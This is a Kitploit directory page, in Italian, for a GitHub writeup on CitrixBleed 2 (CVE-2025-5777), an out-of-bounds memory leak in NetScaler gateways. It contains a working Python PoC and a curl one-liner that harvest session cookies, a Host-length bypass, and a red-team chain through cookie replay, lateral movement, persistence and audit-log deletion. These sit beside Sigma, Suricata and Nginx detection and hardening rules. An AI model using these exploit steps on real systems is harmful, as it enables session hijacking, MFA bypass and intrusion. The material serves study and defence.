Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — Spiegazione dettagliata di CitrixBleed 2 — CVE-2025-5777 (perdita out-of-bounds): PoC e suite di rilevamento | Kitploit
Strumenti/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Strumenti DifensiviAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e FormazioneRed TeamingRisposta agli Incidenti

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Lab e Pratica
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

Spiegazione dettagliata di CitrixBleed 2 — CVE-2025-5777 (perdita out-of-bounds): PoC e suite di rilevamento

Vedi Repository
1721 anno faNon ancora revisionato

CitrixBleed 2 (CVE-2025-5777) Analisi Definitiva

Un Out-of-Bounds Memory Read in NetScaler ADC / Gateway — un manuale completo dalla causa scatenante alle esercitazioni offensive e difensive


uso del PoC: python3 poc.py https://gateway.example.com

uso dell'exploit: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Indice

root@kitploit:~
0x00  引言 / 速览
0x01  背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述(影响版本、CVSS、利用后果)
0x03  触发机理深剖(源码级分析 & 调试截图)
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06  蓝队视角:检测、取证与补丁验证
0x07  防御加固:补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 Introduzione / Panoramica rapida

  • CVE-2025-5777 (nota anche come CitrixBleed 2) è un Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
  • L'attaccante non richiede autenticazione: basta inviare una richiesta GET con un header Host eccessivamente lungo per far "spruzzare" al dispositivo blocchi di memoria casuale insieme alla risposta HTTP.
  • I dati esfiltrati contengono spesso materiale critico come cookie NSC_USER / NSC_TASS, SAML StateContext, token MFA, direttamente riutilizzabile per il session hijacking e il bypass dell'MFA (arcticwolf.com, tenable.com).
  • Punteggio base CVSS v4: 9.3 (Critical) (netscaler.com).
  • Divulgata il 2025-06-17; il 2025-06-23 Citrix ha ampliato l'ambito di impatto e rilasciato le patch; entro una settimana vendor di sicurezza come ReliaQuest e Bishop Fox hanno osservato un'impennata dello sfruttamento in the wild (reliaquest.com, bishopfox.com).

0x01 Contesto

1.1 Cenni sul flusso di lavoro di NetScaler

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adotta un design basato su multi-processo + IPC interno. WebProc gestisce la maggior parte delle richieste HTTP nel percorso AAA / Gateway, incluse /nf/auth/*, /oauth/*, ecc. Nel codice C fa ampio uso di snprintf() / memcpy() per comporre ogni frammento XML/HTML.

1.2 Riepilogo di CitrixBleed 1 (CVE-2023-4966)

  • Nel 2023, la vulnerabilità analoga si trovava nell'endpoint di discovery OAuth /oauth/idp/.well-known/openid-configuration.
  • Anche in quel caso la sostanza era usare il valore di ritorno di snprintf come parametro len per la successiva send() → memory out-of-bounds echo.
  • CitrixBleed 2 dimostra che lo stesso tipo di difetto di codifica sicura è ancora annidato in altri percorsi.

Lezione appresa: se le patch di sicurezza mirano solo al "punto di impatto" anziché al "paradigma di programmazione", lasciano spazio a "riproduzioni con template".


0x02 Descrizione della vulnerabilità


0x03 Analisi approfondita del meccanismo di innesco

Questa sezione si basa sulla decompilazione + debug con gdb del firmware 13.1-55.18, integrata con blog pubblici (bishopfox.com).

3.1 Entry point della vulnerabilità

  • URI: /nf/auth/startwebview.do
  • Parametro controllabile: header HTTP Host
  • Questo endpoint genera l'XML di reindirizzamento per Citrix Workspace WebView; esempio di risposta normale:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Catena di funzioni critiche

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Punto del bug: snprintf restituisce la "lunghezza che avrebbe dovuto scrivere" e non quella effettivamente scritta; se l'Host fornito dall'utente supera 0x1800 - lunghezza del segmento costante, allora length > sizeof(buf).

3.3 Rappresentazione a runtime

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

Dimostrazione con breakpoint GDB (registri chiave):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

I risultati di read() mostrano che i 1 600 byte successivi provengono da memoria non inizializzata, dove sono visibili buffer di cookie di altre sessioni SSL.

3.4 Tipologie di dati esfiltrati

CategoriaEsempio (depurato)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Altri body di richiesta<username>audituser</username><password>***</password>

0x04 Implementazione del PoC

4.1 Python in un singolo file (15 righe)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Se dopo l'esecuzione si ottiene 200 + diversi KB, il sistema è da considerare vulnerabile.
  • Cercare ulteriormente in leak.bin parole chiave come Cookie=, <AuthenticateContext>.

4.2 One-liner Bash / curl

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: alcuni dispositivi applicano una limitazione della lunghezza dell'Host sul F5 / Nginx front-end; si può aggirare concatenando più sottodomini, ad esempio foo.foo.foo.…foo.example.com (ripetendo foo 3000 volte).


0x05 Prospettiva Red Team: catena d'attacco completa

Caso reale: ReliaQuest ha osservato su un gateway cliente "un gran numero di richieste in breve tempo con Host header oltre 6 KB → immediatamente seguite da sessioni compromesse" (reliaquest.com).


0x06 Prospettiva Blue Team: rilevamento, forensics e verifica della patch

6.1 Log e IoC

OrigineManifestazione
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144
HTTP_ACCESS.log

6.2 Regola Sigma (versione sintetica)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Script di verifica della patch

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Terminare le sessioni

root@kitploit:~
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

Nota: dopo la patch è comunque necessario forzare il logout, per evitare che gli attaccanti continuino a usare i cookie già rubati.


0x07 Hardening difensivo

  1. Patch ufficiale: aggiornare a ≥ 14.1-43.56 / 13.1-58.32, oppure applicare le versioni corrispondenti per i modelli FIPS/NDcPP (netscaler.com).
  2. Limitazione della lunghezza dell'Host Header (misura temporanea)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. Regole WAF adattive: abilitare il rate limiting sui percorsi /nf/auth/ & /oauth/ (es. 20 req/m).
  2. Inventario degli asset: le versioni EOL 12.1/13.0 non riceveranno più patch ufficiali; pianificarne la sostituzione o un forte isolamento (support.citrix.com).
  3. Sicurezza MFA: il leak di sessione bypassa l'MFA → si consiglia di attivare la "firma per richiesta" o il "binding dinamico dell'impronta hardware", invece di verificare solo al primo login.

0x08 Percorso di apprendimento / ripasso


Appendice A — Frammenti di rilevamento / difesa

📜 Versione completa della regola Sigma
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Regola Suricata
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Hotpatch inline Nginx-Lua
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Appendice B — Timeline


Riferimenti

  1. Advisory di sicurezza ufficiale Citrix e note sulle patch (netscaler.com)
  2. Arctic Wolf «Briefing tecnico su CVE-2025-5777» (arcticwolf.com)
  3. Bishop Fox «OOB Memory Read in NetScaler» (bishopfox.com)
  4. ReliaQuest «Threat Spotlight: CitrixBleed 2» (reliaquest.com)
  5. FAQ di Tenable su CVE-2025-5777 (tenable.com)
  6. Notizia di sicurezza BleepingComputer (bleepingcomputer.com)
  7. Voce NVD per CVE-2025-5777 (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

Fine — si spera che questo documento ti aiuti a comprendere e ad affrontare CitrixBleed 2 a tutto tondo. Se hai bisogno di ulteriori esempi, script o indicazioni per le esercitazioni, non esitare a chiederli!

Scarica lo strumento
CampoContenuto
CVECVE-2025-5777
AliasCitrixBleed 2
Tipo di vulnerabilitàOut-of-Bounds Read / Information Disclosure
CVSS v4 Base9.3 (Crit.) (netscaler.com)
Versioni interessate< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
Condizioni di sfruttamentoNetScaler configurato come Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o virtual server AAA (arcticwolf.com)
Conseguenze dello sfruttamentoPerdita di memoria → token di sessione → bypass dell'autenticazione / bypass dell'MFA → movimenti laterali
FaseObiettivo & tecniche
① Scoperta degli assetzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, ecc.; filtrare set-cookie: NSC_
② Leak tramite PoCScript batch con richieste parallele; catturare NSC_USER= ; NSC_TASS=
③ Replay dei cookieChrome DevTools→Application→Cookies→aggiungere le voci, aggiornare /vpn/index.html
④ Risorse interneAccedere a storeweb/#home per ottenere i file RDP; scaricare .ica per entrare direttamente nella VDI
⑤ Elevazione dei privilegiPassword spraying interno, Kerberoast, ADCS ESC1; oppure sfruttare password SMB deboli sulla stessa subnet
⑥ PersistenzaCreare Scheduled Task; registrare script di auto-avvio; oppure modificare il vDisk di NetScaler (richiede privilegi elevati o negligenza operativa)
⑦ Pulizia delle tracceCookie usa-e-getta; eliminare i log di audit (se si ottiene la root NS); oppure sovrascriverli sfruttando una race condition su logrotate
/nf/auth/startwebview.do con richieste rapidissime ma dimensioni di risposta anomale (> 2 KB)
EDR/PCAPSet-Cookie: NSC_USER= presente nelle risposte a richieste non di login
FaseRisorse consigliate & operazioni
TeoriaLeggere gli advisory di sicurezza Citrix, le FAQ di Arctic Wolf / Tenable, la disamina tecnica di Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com)
LaboratorioDistribuire la versione vulnerabile 13.1-55.18 (ESXi / KVM), eseguire il PoC minimo, catturare con Wireshark → osservare i pacchetti di risposta TCP PSH
SviluppoRiscrivere il PoC: aggiungere replay automatico dei cookie, scansione batch ZTLS, coda multithread
Blue teamCercare lunghezze anomale dell'Host in una finestra di due ore; usare Sigma→Elastic/Graylog; riprodurre e validare le policy WAF
CondivisioneScrivere un blog o creare una mappa mentale riassumendo "le stesse insidie d'uso di snprintf"
Data (2025)Evento
06-17Citrix pubblica l'advisory iniziale per CVE-2025-5777 (netscaler.com)
06-18Bishop Fox pubblica la prima disamina tecnica & PoC (bishopfox.com)
06-23Citrix aggiorna l'ambito di impatto + versioni patchate; CISA la inserisce nel KEV
06-25ReliaQuest segnala uno sfruttamento attivo; gruppi di threat stanno rubando sessioni in massa (reliaquest.com)
06-27BleepingComputer riporta "possibile sfruttamento su larga scala" (bleepingcomputer.com)
06-28Compaiono diversi PoC su GitHub; Tenable pubblica una FAQ (tenable.com)